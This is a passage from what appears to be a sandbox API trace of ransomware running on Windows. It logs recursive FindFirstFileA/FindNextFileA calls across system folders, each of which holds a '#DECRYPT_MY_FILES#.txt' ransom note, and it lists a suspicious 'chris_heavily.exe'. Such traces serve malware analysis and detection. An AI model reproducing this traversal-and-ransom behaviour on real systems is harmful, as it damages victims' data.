lpFindFileData=0x42e228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0033.860] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0033.860] FindNextFileA (in: hFindFile=0x81aa30, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x180, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0033.860] FindNextFileA (in: hFindFile=0x81aa30, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x180, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0033.861] AreFileApisANSI () returned 1 [0033.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0033.862] GetFileType (hFile=0x78) returned 0x1 [0033.863] FindFirstFileA (in: lpFileName="C:\\\\PerfLogs\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb72a6a00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72a6a00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName=".", cAlternateFileName="")) returned 0x825810 [0033.863] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb72a6a00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72a6a00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="..", cAlternateFileName="")) returned 1 [0033.863] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72a6a00, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72a6a00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72a6a00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.863] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="Admin", cAlternateFileName="")) returned 1 [0033.863] AreFileApisANSI () returned 1 [0033.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0033.864] GetFileType (hFile=0x108) returned 0x1 [0033.865] FindFirstFileA (in: lpFileName="C:\\\\PerfLogs\\Admin\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb72a6a00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72a6a00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0033.865] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb72a6a00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72a6a00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0033.865] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72a6a00, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72a6a00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72a6a00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.865] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72a6a00, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72a6a00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72a6a00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 0 [0033.865] FindClose (in: hFindFile=0x825890 | out: hFindFile=0x825890) returned 1 [0033.866] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="Admin", cAlternateFileName="")) returned 0 [0033.866] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0033.866] FindNextFileA (in: hFindFile=0x81aa30, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaf1cad50, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xaf1cad50, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x180, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0033.866] AreFileApisANSI () returned 1 [0033.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0033.867] GetFileType (hFile=0x78) returned 0x1 [0033.868] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName=".", cAlternateFileName="")) returned 0x825810 [0033.869] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="..", cAlternateFileName="")) returned 1 [0033.869] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72ccb60, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.869] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa8b6fb50, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xa8b6fb50, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0033.869] AreFileApisANSI () returned 1 [0033.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x810fc0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0033.869] GetFileType (hFile=0x108) returned 0x1 [0033.870] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0033.870] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0033.871] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72ccb60, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.871] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb754c270, ftCreationTime.dwHighDateTime=0x1d4dc40, ftLastAccessTime.dwLowDateTime=0xbd120a10, ftLastAccessTime.dwHighDateTime=0x1d52efc, ftLastWriteTime.dwLowDateTime=0xbd120a10, ftLastWriteTime.dwHighDateTime=0x1d52efc, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName="chris_heavily.exe", cAlternateFileName="CHRIS_~1.EXE")) returned 1 [0033.871] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0033.871] AreFileApisANSI () returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x80be00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.872] GetFileType (hFile=0x120) returned 0x1 [0033.873] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0033.873] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0033.873] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72ccb60, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.874] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0033.874] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0033.874] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0033.874] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0033.874] AreFileApisANSI () returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0033.874] GetFileType (hFile=0x120) returned 0x1 [0033.875] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0033.876] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0033.876] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72ccb60, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.876] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="DW", cAlternateFileName="")) returned 1 [0033.876] AreFileApisANSI () returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0033.879] GetFileType (hFile=0xc8) returned 0x1 [0033.880] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0033.880] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0033.880] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72ccb60, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72ccb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72ccb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.880] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0033.880] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0033.881] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0033.881] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0033.881] FindClose (in: hFindFile=0x8258d0 | out: hFindFile=0x8258d0) returned 1 [0033.881] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0033.881] AreFileApisANSI () returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0033.884] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0033.884] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0033.884] 